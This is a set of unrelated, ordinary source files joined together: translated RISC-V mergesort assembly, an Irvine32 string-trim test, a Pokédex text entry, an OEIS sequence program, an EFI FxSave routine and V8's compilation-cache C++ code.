lw x13, 16(x8) # ldr w2, [x29, 44] lw x12, 44(x8) # ldr w1, [x29, 20] lw x11, 20(x8) # ldr x0, [x29, 24] ld x10, 24(x8) # bl merge call merge .L18: # nop nop # ldp x29, x30, [sp], 48 ld x8, 0(sp) ld ra, 8(sp) addi sp, sp, 48 # writeback # ret ret .size mergeSort, .-mergeSort .section .rodata .align 3 .LC0: .string "%d " .text .align 2 .global printArray .type printArray, %function printArray: # stp x29, x30, [sp, -48]! sd x8, -48(sp) sd ra, -40(sp) addi sp, sp, -48 # writeback # add x29, sp, 0 addi x8, sp, 0 # str x0, [x29, 24] sd x10, 24(x8) # str w1, [x29, 20] sw x11, 20(x8) # str wzr, [x29, 44] sw x0, 44(x8) # b .L20 j .L20 .L21: # ldrsw x0, [x29, 44] lw x10, 44(x8) # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 24] ld x11, 24(x8) # add x0, x1, x0 add x10, x11, x10 # ldr w1, [x0] lw x11, 0(x10) # adrp x0, .LC0 lui x10, %hi(.LC0) # add x0, x0, :lo12:.LC0 add x10, x10, %lo(.LC0) # bl printf call printf # ldr w0, [x29, 44] lw x10, 44(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 44] sw x10, 44(x8) .L20: # ldr w1, [x29, 44] lw x11, 44(x8) # ldr w0, [x29, 20] lw x10, 20(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L21 blt x25, x0, .L21 # mov w0, 10 li x10, 10 # bl putchar call putchar # nop nop # ldp x29, x30, [sp], 48 ld x8, 0(sp) ld ra, 8(sp) addi sp, sp, 48 # writeback # ret ret .size printArray, .-printArray .section .rodata .align 3 .LC1: .string "Given array is " .align 3 .LC2: .string "\nSorted array is " .text .align 2 .global main .type main, %function main: la x21, REG_BANK # mov x16, 40032 li x27, 40032 # sub sp, sp, x16 sub sp, sp, x27 # stp x29, x30, [sp] sd x8, 0(sp) sd ra, 8(sp) # add x29, sp, 0 addi x8, sp, 0 # adrp x0, :got:__stack_chk_guard lui x10, %hi(__stack_chk_guard) # ldr x0, [x0, #:got_lo12:__stack_chk_guard] add x10, x10, %lo(__stack_chk_guard) # load from GOT -> ADD! # add x1, x29, 32768 li x26, 32768 # synthesis of oversized immediate add x11, x8, x26 # ldr x2, [x0] ld x12, 0(x10) # str x2, [x1, 7256] li x26, 7256 # synthesis of oversized immediate add x26, x26, x11 # converting offset register to add sd x12, 0(x26) # mov x2,0 li x12, 0 # mov w0, 1234 li x10, 1234 # bl srand call srand # str wzr, [x29, 16] sw x0, 16(x8) # b .L23 j .L23 .L24: # bl random call random # mov w2, w0 mv x12, x10 # ldrsw x0, [x29, 16] lw x10, 16(x8) # lsl x0, x0, 2 slli x10, x10, 2 # add x1, x29, 24 addi x11, x8, 24 # str w2, [x1, x0] add x26, x10, x11 # converting offset register to add sw x12, 0(x26) # ldr w0, [x29, 16] lw x10, 16(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 16] sw x10, 16(x8) .L23: # ldr w1, [x29, 16] lw x11, 16(x8) # mov w0, 9999 li x10, 9999 # cmp w1, w0 sub x25, x11, x10 # ble .L24 ble x25, x0, .L24 # mov w0, 10000 li x10, 10000 # str w0, [x29, 20] sw x10, 20(x8) # adrp x0, .LC1 lui x10, %hi(.LC1) # add x0, x0, :lo12:.LC1 add x10, x10, %lo(.LC1) # bl puts call puts # add x0, x29, 24 addi x10, x8, 24 # ldr w1, [x29, 20] lw x11, 20(x8) # bl printArray call printArray # ldr w0, [x29, 20] lw x10, 20(x8) # sub w1, w0, #1 addiw x11, x10, -1 # add x0, x29, 24 addi x10, x8, 24 # mov w2, w1 mv x12, x11 # mov w1, 0 li x11, 0 # bl mergeSort call mergeSort # adrp x0, .LC2 lui x10, %hi(.LC2) # add x0, x0, :lo12:.LC2 add x10, x10, %lo(.LC2) # bl puts call puts # add x0, x29, 24 addi x10, x8, 24 # ldr w1, [x29, 20] lw x11, 20(x8) # bl printArray call printArray # mov w0, 0 li x10, 0 # adrp x1, :got:__stack_chk_guard lui x11, %hi(__stack_chk_guard) # ldr x1, [x1, #:got_lo12:__stack_chk_guard] add x11, x11, %lo(__stack_chk_guard) # load from GOT -> ADD! # add x2, x29, 32768 li x26, 32768 # synthesis of oversized immediate add x12, x8, x26 # ldr x3, [x2, 7256] li x26, 7256 # synthesis of oversized immediate add x26, x26, x12 # converting offset register to add ld x13, 0(x26) # ldr x1, [x1] ld x11, 0(x11) # eor x1, x3, x1 xor x11, x13, x11 # cmp x1, 0 addi x25, x11, 0 # beq .L26 beq x25, x0, .L26 # bl __stack_chk_fail call __stack_chk_fail .L26: # ldp x29, x30, [sp] ld x8, 0(sp) ld ra, 8(sp) # mov x16, 40032 li x27, 40032 # add sp, sp, x16 add sp, sp, x27 # ret ret .size main, .-main .ident "GCC: (Ubuntu/Linaro 7.4.0-1ubuntu1~18.04.1) 7.4.0" .section .note.GNU-stack,"",@progbits
TITLE Trim Trailing Characters (Trim.asm) ; Test the Trim procedure. Trim removes trailing all ; occurences of a selected character from the end of ; a string. ; Last update: 11/24/01 INCLUDE Irvine32.inc Str_trim PROTO, pString:PTR BYTE, ; points to string char:BYTE ; character to remove Str_length PROTO, pString:PTR BYTE ; pointer to string ShowString PROTO, pString:PTR BYTE .data ; Test data: string_1 BYTE 0 ; case 1 string_2 BYTE "#",0 ; case 2 string_3 BYTE "Hello###",0 ; case 3 string_4 BYTE "Hello",0 ; case 4 string_5 BYTE "H#",0 ; case 5 string_6 BYTE "#H",0 ; case 6 .code main PROC call Clrscr INVOKE Str_trim,ADDR string_1,'#' INVOKE ShowString,ADDR string_1 INVOKE Str_trim,ADDR string_2,'#' INVOKE ShowString,ADDR string_2 INVOKE Str_trim,ADDR string_3,'#' INVOKE ShowString,ADDR string_3 INVOKE Str_trim,ADDR string_4,'#' INVOKE ShowString,ADDR string_4 INVOKE Str_trim,ADDR string_5,'#' INVOKE ShowString,ADDR string_5 INVOKE Str_trim,ADDR string_6,'#' INVOKE ShowString,ADDR string_6 exit main ENDP ;----------------------------------------------------------- ShowString PROC USES edx, pString:PTR BYTE ; Display a string surrounded by brackets. ;----------------------------------------------------------- .data lbracket BYTE "[",0 rbracket BYTE "]",0 .code mov edx,OFFSET lbracket call WriteString mov edx,pString call WriteString mov edx,OFFSET rbracket call WriteString call Crlf ret ShowString ENDP END main
db "VIRTUAL@" ; species name db "This manmade" next "#MON evolved" next "from the latest" page "technology. It" next "may have unprog-" next "rammed reactions.@"
; A347319: a(n) = (2*n+1)*(n^3-2*n^2+n+1). ; Submitted by Jamie Morken(s1) ; 1,3,15,91,333,891,1963,3795,6681,10963,17031,25323,36325,50571,68643,91171,118833,152355,192511,240123,296061,361243,436635,523251,622153,734451,861303,1003915,1163541,1341483,1539091,1757763,1998945,2264131,2554863,2872731,3219373,3596475,4005771 mov $1,$0 mul $0,2 sub $0,3 mul $0,$1 mul $0,$1 add $0,3 mul $0,$1 add $0,1
; Copyright (c) 2004, Intel Corporation ; All rights reserved. This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; FxSave.Asm ; ; Abstract: ; ; AsmFxSave function ; ; Notes: ; ;------------------------------------------------------------------------------ .code ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; InternalX86FxSave ( ; OUT IA32_FX_BUFFER *Buffer ; ); ;------------------------------------------------------------------------------ InternalX86FxSave PROC fxsave [rcx] ret InternalX86FxSave ENDP END
// Copyright 2011 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "v8.h" #include "assembler.h" #include "compilation-cache.h" #include "serialize.h" namespace v8 { namespace internal { // The number of generations for each sub cache. // The number of ScriptGenerations is carefully chosen based on histograms. // See issue 458: http://code.google.com/p/v8/issues/detail?id=458 static const int kScriptGenerations = 5; static const int kEvalGlobalGenerations = 2; static const int kEvalContextualGenerations = 2; static const int kRegExpGenerations = 2; // Initial size of each compilation cache table allocated. static const int kInitialCacheSize = 64; CompilationCache::CompilationCache(Isolate* isolate) : isolate_(isolate), script_(isolate, kScriptGenerations), eval_global_(isolate, kEvalGlobalGenerations), eval_contextual_(isolate, kEvalContextualGenerations), reg_exp_(isolate, kRegExpGenerations), enabled_(true) { CompilationSubCache* subcaches[kSubCacheCount] = {&script_, &eval_global_, &eval_contextual_, &reg_exp_}; for (int i = 0; i < kSubCacheCount; ++i) { subcaches_[i] = subcaches[i]; } } CompilationCache::~CompilationCache() {} static Handle<CompilationCacheTable> AllocateTable(Isolate* isolate, int size) { CALL_HEAP_FUNCTION(isolate, CompilationCacheTable::Allocate(isolate->heap(), size), CompilationCacheTable); } Handle<CompilationCacheTable> CompilationSubCache::GetTable(int generation) { ASSERT(generation < generations_); Handle<CompilationCacheTable> result; if (tables_[generation]->IsUndefined()) { result = AllocateTable(isolate(), kInitialCacheSize); tables_[generation] = *result; } else { CompilationCacheTable* table = CompilationCacheTable::cast(tables_[generation]); result = Handle<CompilationCacheTable>(table, isolate()); } return result; } void CompilationSubCache::Age() { // Age the generations implicitly killing off the oldest. for (int i = generations_ - 1; i > 0; i--) { tables_[i] = tables_[i - 1]; } // Set the first generation as unborn. tables_[0] = isolate()->heap()->undefined_value(); } void CompilationSubCache::IterateFunctions(ObjectVisitor* v) { Object* undefined = isolate()->heap()->undefined_value(); for (int i = 0; i < generations_; i++) { if (tables_[i] != undefined) { reinterpret_cast<CompilationCacheTable*>(tables_[i])->IterateElements(v); } } } void CompilationSubCache::Iterate(ObjectVisitor* v) { v->VisitPointers(&tables_[0], &tables_[generations_]); } void CompilationSubCache::Clear() { MemsetPointer(tables_, isolate()->heap()->undefined_value(), generations_); } void CompilationSubCache::Remove(Handle<SharedFunctionInfo> function_info) { // Probe the script generation tables. Make sure not to leak handles // into the caller's handle scope. { HandleScope scope(isolate()); for (int generation = 0; generation < generations(); generation++) { Handle<CompilationCacheTable> table = GetTable(generation); table->Remove(*function_info); } } } CompilationCacheScript::CompilationCacheScript(Isolate* isolate, int generations) : CompilationSubCache(isolate, generations), script_histogram_(NULL), script_histogram_initialized_(false) { } // We only re-use a cached function for some script source code if the // script originates from the same place. This is to avoid issues // when reporting errors, etc. bool CompilationCacheScript::HasOrigin( Handle<SharedFunctionInfo> function_info, Handle<Object> name, int line_offset, int column_offset, bool is_shared_cross_origin) { Handle<Script> script = Handle<Script>(Script::cast(function_info->script()), isolate()); // If the script name isn't set, the boilerplate script should have // an undefined name to have the same origin. if (name.is_null()) { return script->name()->IsUndefined(); } // Do the fast bailout checks first. if (line_offset != script->line_offset()->value()) return false; if (column_offset != script->column_offset()->value()) return false; // Check that both names are strings. If not, no match. if (!name->IsString() || !script->name()->IsString()) return false; // Were both scripts tagged by the embedder as being shared cross-origin? if (is_shared_cross_origin != script->is_shared_cross_origin()) return false; // Compare the two name strings for equality. return String::cast(*name)->Equals(String::cast(script->name())); } // TODO(245): Need to allow identical code from different contexts to // be cached in the same script generation. Currently the first use // will be cached, but subsequent code from different source / line // won't. Handle<SharedFunctionInfo> CompilationCacheScript::Lookup( Handle<String> source, Handle<Object> name, int line_offset, int column_offset, bool is_shared_cross_origin, Handle<Context> context) { Object* result = NULL; int generation; // Probe the script generation tables. Make sure not to leak handles // into the caller's handle scope. { HandleScope scope(isolate()); for (generation = 0; generation < generations(); generation++) { Handle<CompilationCacheTable> table = GetTable(generation); Handle<Object> probe(table->Lookup(*source, *context), isolate()); if (probe->IsSharedFunctionInfo()) { Handle<SharedFunctionInfo> function_info = Handle<SharedFunctionInfo>::cast(probe); // Break when we've found a suitable shared function info that // matches the origin. if (HasOrigin(function_info, name, line_offset, column_offset, is_shared_cross_origin)) { result = *function_info; break; } } } } if (!script_histogram_initialized_) { script_histogram_ = isolate()->stats_table()->CreateHistogram( "V8.ScriptCache", 0, kScriptGenerations, kScriptGenerations + 1); script_histogram_initialized_ = true; } if (script_histogram_ != NULL) { // The level NUMBER_OF_SCRIPT_GENERATIONS is equivalent to a cache miss. isolate()->stats_table()->AddHistogramSample(script_histogram_, generation); } // Once outside the manacles of the handle scope, we need to recheck // to see if we actually found a cached script. If so, we return a // handle created in the caller's handle scope. if (result != NULL) { Handle<SharedFunctionInfo> shared(SharedFunctionInfo::cast(result), isolate()); ASSERT(HasOrigin(shared, name, line_offset, column_offset, is_shared_cross_origin)); // If the script was found in a later generation, we promote it to // the first generation to let it survive longer in the cache. if (generation != 0) Put(source, context, shared); isolate()->counters()->compilation_cache_hits()->Increment(); return shared; } else { isolate()->counters()->compilation_cache_misses()->Increment(); return Handle<SharedFunctionInfo>::null(); } } MaybeObject* CompilationCacheScript::TryTablePut( Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info) { Handle<CompilationCacheTable> table = GetFirstTable(); return table->Put(*source, *context, *function_info); } Handle<CompilationCacheTable> CompilationCacheScript::TablePut( Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info) { CALL_HEAP_FUNCTION(isolate(), TryTablePut(source, context, function_info), CompilationCacheTable); } void CompilationCacheScript::Put(Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info) { HandleScope scope(isolate()); SetFirstTable(TablePut(source, context, function_info)); } Handle<SharedFunctionInfo> CompilationCacheEval::Lookup( Handle<String> source, Handle<Context> context, LanguageMode language_mode, int scope_position) { // Make sure not to leak the table into the surrounding handle // scope. Otherwise, we risk keeping old tables around even after // having cleared the cache. Object* result = NULL; int generation; { HandleScope scope(isolate()); for (generation = 0; generation < generations(); generation++) { Handle<CompilationCacheTable> table = GetTable(generation); result = table->LookupEval( *source, *context, language_mode, scope_position); if (result->IsSharedFunctionInfo()) { break; } } } if (result->IsSharedFunctionInfo()) { Handle<SharedFunctionInfo> function_info(SharedFunctionInfo::cast(result), isolate()); if (generation != 0) { Put(source, context, function_info, scope_position); } isolate()->counters()->compilation_cache_hits()->Increment(); return function_info; } else { isolate()->counters()->compilation_cache_misses()->Increment(); return Handle<SharedFunctionInfo>::null(); } } MaybeObject* CompilationCacheEval::TryTablePut( Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info, int scope_position) { Handle<CompilationCacheTable> table = GetFirstTable(); return table->PutEval(*source, *context, *function_info, scope_position); } Handle<CompilationCacheTable> CompilationCacheEval::TablePut( Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info, int scope_position) { CALL_HEAP_FUNCTION(isolate(), TryTablePut( source, context, function_info, scope_position), CompilationCacheTable); } void CompilationCacheEval::Put(Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info, int scope_position) { HandleScope scope(isolate()); SetFirstTable(TablePut(source, context, function_info, scope_position)); } Handle<FixedArray> CompilationCacheRegExp::Lookup(Handle<String> source, JSRegExp::Flags flags) { // Make sure not to leak the table into the surrounding handle // scope. Otherwise, we risk keeping old tables around even after // having cleared the cache. Object* result = NULL; int generation; { HandleScope scope(isolate()); for (generation = 0; generation < generations(); generation++) { Handle<CompilationCacheTable> table = GetTable(generation); result = table->LookupRegExp(*source, flags); if (result->IsFixedArray()) { break; } } } if (result->IsFixedArray()) { Handle<FixedArray> data(FixedArray::cast(result), isolate()); if (generation != 0) { Put(source, flags, data); } isolate()->counters()->compilation_cache_hits()->Increment(); return data; } else { isolate()->counters()->compilation_cache_misses()->Increment(); return Handle<FixedArray>::null(); } } MaybeObject* CompilationCacheRegExp::TryTablePut( Handle<String> source, JSRegExp::Flags flags, Handle<FixedArray> data) { Handle<CompilationCacheTable> table = GetFirstTable(); return table->PutRegExp(*source, flags, *data); } Handle<CompilationCacheTable> CompilationCacheRegExp::TablePut( Handle<String> source, JSRegExp::Flags flags, Handle<FixedArray> data) { CALL_HEAP_FUNCTION(isolate(), TryTablePut(source, flags, data), CompilationCacheTable); } void CompilationCacheRegExp::Put(Handle<String> source, JSRegExp::Flags flags, Handle<FixedArray> data) { HandleScope scope(isolate()); SetFirstTable(TablePut(source, flags, data)); } void CompilationCache::Remove(Handle<SharedFunctionInfo> function_info) { if (!IsEnabled()) return; eval_global_.Remove(function_info); eval_contextual_.Remove(function_info); script_.Remove(function_info); } Handle<SharedFunctionInfo> CompilationCache::LookupScript( Handle<String> source, Handle<Object> name, int line_offset, int column_offset, bool is_shared_cross_origin, Handle<Context> context) { if (!IsEnabled()) { return Handle<SharedFunctionInfo>::null(); } return script_.Lookup(source, name, line_offset, column_offset, is_shared_cross_origin, context); } Handle<SharedFunctionInfo> CompilationCache::LookupEval( Handle<String> source, Handle<Context> context, bool is_global, LanguageMode language_mode, int scope_position) { if (!IsEnabled()) { return Handle<SharedFunctionInfo>::null(); } Handle<SharedFunctionInfo> result; if (is_global) { result = eval_global_.Lookup( source, context, language_mode, scope_position); } else { ASSERT(scope_position != RelocInfo::kNoPosition); result = eval_contextual_.Lookup( source, context, language_mode, scope_position); } return result; } Handle<FixedArray> CompilationCache::LookupRegExp(Handle<String> source, JSRegExp::Flags flags) { if (!IsEnabled()) { return Handle<FixedArray>::null(); } return reg_exp_.Lookup(source, flags); } void CompilationCache::PutScript(Handle<String> source, Handle<Context> context, Handle<SharedFunctionInfo> function_info) { if (!IsEnabled()) { return; } script_.Put(source, context, function_info); } void CompilationCache::PutEval(Handle<String> source, Handle<Context> context, bool is_global, Handle<SharedFunctionInfo> function_info, int scope_position) { if (!IsEnabled()) { return; } HandleScope scope(isolate()); if (is_global) { eval_global_.Put(source, context, function_info, scope_position); } else { ASSERT(scope_position != RelocInfo::kNoPosition); eval_contextual_.Put(source, context, function_info, scope_position); } } void CompilationCache::PutRegExp(Handle<String> source, JSRegExp::Flags flags, Handle<FixedArray> data) { if (!IsEnabled()) { return; } reg_exp_.Put(source, flags, data); } void CompilationCache::Clear() { for (int i = 0; i < kSubCacheCount; i++) { subcaches_[i]->Clear(); } } void CompilationCache::Iterate(ObjectVisitor* v) { for (int i = 0; i < kSubCacheCount; i++) { subcaches_[i]->Iterate(v); } } void CompilationCache::IterateFunctions(ObjectVisitor* v) { for (int i = 0; i < kSubCacheCount; i++) { subcaches_[i]->IterateFunctions(v); } } void CompilationCache::MarkCompactPrologue() { for (int i = 0; i < kSubCacheCount; i++) { subcaches_[i]->Age(); } } void CompilationCache::Enable() { enabled_ = true; } void CompilationCache::Disable() { enabled_ = false; Clear(); } } } // namespace v8::internal